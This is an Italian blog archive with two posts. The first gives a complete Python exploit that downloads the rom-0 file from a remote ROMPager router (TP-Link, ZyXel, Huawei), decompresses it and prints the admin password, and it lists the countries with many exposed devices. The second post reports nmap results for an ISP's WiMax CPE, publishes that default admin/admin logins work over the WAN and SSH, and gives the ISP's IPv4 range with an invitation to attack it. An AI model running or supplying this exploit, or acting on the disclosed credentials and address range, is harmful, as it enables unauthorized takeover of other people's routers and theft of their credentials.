Check out the new blog at http://linuxehacking.ovh , this one will no longer be updated

giovedì 16 gennaio 2014

Hacking dei router che utilizzano ROMPager completamente da remoto

Gran parte dei router TP-Link,ZyXel,Huawei ed alcuni linksys sono soggetti ad una vulnerabilità che permette di ottenere la password di amministratore DA REMOTO , lo script allegato permette, passandogli l'ip del router come parametro di tirare fuori la password instantaneamente

import os
import sys
from struct import *
import urllib2
 
##############################################################
# Lempel-Ziv-Stac decompression
# BitReader and RingList classes
#
# Copyright (C) 2011  Filippo Valsorda - FiloSottile
# filosottile.wiki gmail.com - www.pytux.it
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
##############################################################
 
import collections
 
class BitReader:
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and permits to extract
    bits one by one like a stream
    """
    def __init__(self, bytes):
        self._bits = collections.deque()
 
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
 
    def getBit(self):
        return self._bits.popleft()
 
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
 
    def getByte(self):
        return self.getBits(8)
 
    def __len__(self):
        return len(self._bits)
 
class RingList:
    """
    When the list is full, for every item appended
    the older is removed
    """
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
 
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
 
    def get(self):
        return self.__data__
 
    def size(self):
        return len(self.__data__)
 
    def maxsize(self):
        return self.__max__
 
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]
 
def LZSDecompress(data, window = RingList(2048)):
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and an optional
    pre-populated dictionary; return the decompressed
    string and the final dictionary
    """
    reader = BitReader(data)
    result = ''
 
    while True:
        bit = reader.getBit()
        if not bit:
            char = reader.getByte()
            result += chr(char)
            window.append(char)
        else:
            bit = reader.getBit()
            if bit:
                offset = reader.getBits(7)
                if offset == 0:
                    # EOF
                    break
            else:
                offset = reader.getBits(11)
 
            lenField = reader.getBits(2)
            if lenField < 3:
                lenght = lenField + 2
            else:
                lenField <<= 2
                lenField += reader.getBits(2)
                if lenField < 15:
                    lenght = (lenField & 0x0f) + 5
                else:
                    lenCounter = 0
                    lenField = reader.getBits(4)
                    while lenField == 15:
                        lenField = reader.getBits(4)
                        lenCounter += 1
                    lenght = 15*lenCounter + 8 + lenField
 
            for i in xrange(lenght):
                char = window[-offset]
                result += chr(char)
                window.append(char)
 
    return result, window


class Object:
  def __init__(self,blockdata,data):
    self.name = data[:14].strip("\x00")
    self.uncompsize = unpack(">H",data[14:16])[0]
    self.compsize = unpack(">H",data[16:18])[0]
    self.offset = unpack(">H",data[18:20])[0]
    print "Object",self.name ,self.uncompsize,self.compsize,self.offset
    self.data = blockdata[self.offset:self.offset+self.compsize]
    #print [self.data]
    if self.name == "spt.dat":
      data2 = self.data
      self.data = ""
      index = 12
      while index < self.uncompsize:
        orgsize = unpack(">H",data2[index:index+2])[0]
        rawsize = unpack(">H",data2[index+2:index+4])[0]
        #print orgsize,rawsize
        self.data += LZSDecompress(data2[index+4:index+4+rawsize])[0]
        index += rawsize
      print "Password:",self.data[20:].split("\x00")[0]
class Block:
  def __init__(self,data):
    self.blocknumber = ord(data[0])
    self.unk1 = ord(data[1])
    self.objectcount = unpack(">H",data[2:4])[0]
    self.blocklength = unpack(">H",data[4:6])[0]
    print "Block:",self.blocknumber , self.objectcount , self.blocklength
    self.objects = []
    for i in range(0,self.objectcount):
      self.objects.append(Object(data,data[6+20*i:]))
blocks = []
f = urllib2.urlopen("http://%s/rom-0"%sys.argv[1])
# = open(sys.argv[1],"rb")
d = f.read()
mem = Block(d[0x0:])
a = Block(d[0x2000:])

Le nazioni che principalmente hanno questi router vulnerabili sono Romania, Algeria, Egitto, Colombia, Brasile, Albania.
Per favore comunque evitate di farci danni con questo script, è un exploit vecchio di circa 1 anno e mezzo che trovai in seguito ad un attacco DDoS subito su un server privato di world of warcraft , e che nonostante abbia segnalato agli ISP è stato del tutto ignorato.
Lo posto solo ora perché ho visto che ci ha già pensato un altro a scoperchiare il vaso di pandora , solo che ha fatto il furbo , ed ha nascosto tutta la parte per decodificare il file rom-0 che io includo invece qui

giovedì 2 gennaio 2014

La sicurezza dell'ISP WiMax che utilizzo

Scrivo questo post, perché oggi è successo un evento che ha del ridicolo diciamo.
Ero connesso ad Azzurra.org ( Network IRC , se non sapete cosa sia è inutile andare avanti nella lettura ) e stavo giocando a No more room in hell , con la linea Alice ADSL, e vedo che inizio ad avere ping che superano i 200 ms abbondantemente.
Così ho pensato di switchare questo pc da dove stavo giocando verso il router che punta sul WiMax, e fin qui tutto bene a livello di gioco i ping sono calati, ma ho notato un simpatico messaggio su IRC

* *** Notice -- This server runs an open proxy monitor to prevent abuse.
* *** Notice -- If you see various connections from proxy-check.azzurra.org or 85.94.194.111
* *** Notice -- please disregard them, as they are the detector in action.
* *** Notice -- For more information please visit http://www.azzurra.org/kline.php?mod=socks-proxy
* *** Notice -- Your connection is restricted! For more information please visit http://www.azzurra.org/restrict.html

In pratica mi dice che sono stato buttato fuori perché ho un proxy socks aperto !!!

Allora visto ciò ho fatto un nmap dalla linea alice , verso l'indirizzo pubblico della linea wimax ( AriaDSL )...
Quello che ne esce fuori ha dell'incredibile


21/tcp   open     ftp            GNU Inetutils FTPd 1.4.1
22/tcp   open     ssh            Dropbear sshd 0.52 (protocol 2.0)
| ssh-hostkey: 1024 74:7b:6e:f4:b0:fd:3f:83:fe:60:62:d4:2c:38:e6:9a (DSA)
|_1040 3d:f3:00:97:78:b4:b0:2b:ee:e7:69:87:39:44:00:b3 (RSA)
80/tcp   open     http?
|_http-title: Wimax CPE Configuration
81/tcp   filtered hosts2-ns
443/tcp  open     ssl/https?
|_sslv2: server still supports SSLv2
|_http-title: Wimax CPE Configuration
| ssl-cert: Subject: commonName=MatrixSSL Sample Server Cert/organizationName=PeerSec Networks/stateOrProvinceName=WA/countryName=US
| Not valid before: 2006-03-13 08:13:34
|_Not valid after:  2007-03-13 08:13:34
2500/tcp filtered rtsserv
2601/tcp open     zebra          Quagga routing software
6789/tcp open     ibm-db2-admin?
9999/tcp open     abyss?


A parte la porta 81 che l'ho aperta io per dare accesso ad una cartella dropbox ad un'altra persona senza ricorrere a dropbox , le altre al di fuori della 80 e della 443 neppure sapevo fossero aperte.
In pratica su questo accrocco che mi hanno dato c'è sulla WAN
Un server FTP ( A che cazzo serve??? )
Un server SSH attivo ( Vedere sopra )
L'interfaccia web ( meglio non commentare )
Un'altra interfaccia web che non so a che cavolo serva
Zebra ( Che minchia ci sta a fare su una CPE? , e soprattutto sulla WAN? )
La 6789 e la 9999 poi boh , non so neanche cosa siano , ho provato a connettermi con telnet ma non danno nessun output
Ora la cosa bella viene sull'interfaccia web, ebbene si perché questi "poco svegli" per non andare su offese pesanti, cosa hanno fatto...
Hanno dato alla gente questi CPE con nome utente e password di default admin/admin CON L'INTERFACCIA WEB APERTA SULLA WAN , Geniale vero?
E non solo quella , quella combinazione admin-admin funziona anche sull'SSH, ed inoltre anche la rete wireless di questo accrocco è di default senza password , e nessun analfabeta informatico nella media italiana si sognerebbe di cambiare password ovviamente.

Avete capito bene quindi, nome utente e password di default admin/admin CON L'INTERFACCIA WEB APERTA SULLA WAN

Il loro spazio di indirizzi IPV4 è 159.20.176.0/21 , fategli quello che vi pare o dateli a chi vi pare, così forse capiscono che hanno dei leggerissimi problemi di sicurezza, io glie l'ho detto diverse volte che non voglio quell'interfaccia web del cazzo aperta sulla WAN e che è vulnerabile, gli ho fatto vedere in diretta ad un loro installatore mentre entravo da remoto sul suo CPE,  ma non mi ascoltano.

Io ho cambiato password , se poi riesce qualcuno ad entrarmi lo stesso sticavoli, tanto fra la mia rete e quello schifo ci ho messo un altro router che non ha falle del genere.

Aggiunta delle  22:47 , dimenticavo
AriaDSL inoltre fornisce apparati in completa violazione della licenza GPL in quanto sul loro sito , ne tantomeno su quella della Huawei sembra possibile scaricare i sorgenti dei software opensource utilizzati nei loro CPE , tra cui di sicuro Linux , quagga , e GNU Inetutils